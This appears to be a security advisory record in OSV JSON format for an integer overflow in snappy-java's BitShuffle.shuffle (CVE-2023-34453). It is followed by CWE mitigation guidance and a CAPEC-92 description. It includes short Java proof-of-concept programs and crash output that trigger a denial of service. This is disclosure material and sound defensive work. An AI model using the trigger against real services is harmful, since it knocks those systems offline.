"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-15T16:13:20Z",
"nvd_published_at": "2023-06-15T17:15:09Z",
"severity": "MODERATE"
},
"details": "## Summary\nDue to unchecked multiplications, an integer overflow may occur, causing a fatal error.\n## Impact\nDenial of Service\n## Description\nThe function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.\n\n```java\npublic static byte[] shuffle(int[] input) throws IOException {\n byte[] output = new byte[input.length * 4];\n int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);\n assert(numProcessed == input.length * 4);\n return output;\n }\n\n```\n\nSince the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a \u201cjava.lang.NegativeArraySizeException\u201d exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as \u201cjava.lang.ArrayIndexOutOfBoundsException\u201d.\nThe same issue exists also when using the \u201cshuffle\u201d functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n int[] original = new int[0x40000000];\n byte[] shuffled = BitShuffle.shuffle(original);\n System.out.println(shuffled[0]);\n }\n}\n\n```\nThe program will crash, showing the following error (or similar):\n\n```\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0\n\tat org.example.Main.main(Main.java:12)\n\nProcess finished with exit code 1\n\n```\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n int[] original = new int[0x20000000];\n byte[] shuffled = BitShuffle.shuffle(original);\n }\n}\n\n```\nThe program will crash with the following error (or similar):\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -2147483648\n\tat org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)\n\tat org.example.Main.main(Main.java:11)\n```",
"id": "GHSA-pqr6-cmr2-h8hf",
"modified": "2023-06-27T21:57:08Z",
"published": "2023-06-15T16:13:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-pqr6-cmr2-h8hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34453"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/commit/820e2e074c58748b41dbd547f4edba9e108ad905"
},
{
"type": "PACKAGE",
"url": "https://github.com/xerial/snappy-java"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "snappy-java\u0027s Integer Overflow vulnerability in shuffle leads to DoS"
}
Mitigation
Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
- Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Strategy: Input Validation
- Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
- Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
- Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
- Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-26
Strategy: Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
CAPEC-92: Forced Integer Overflow
This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.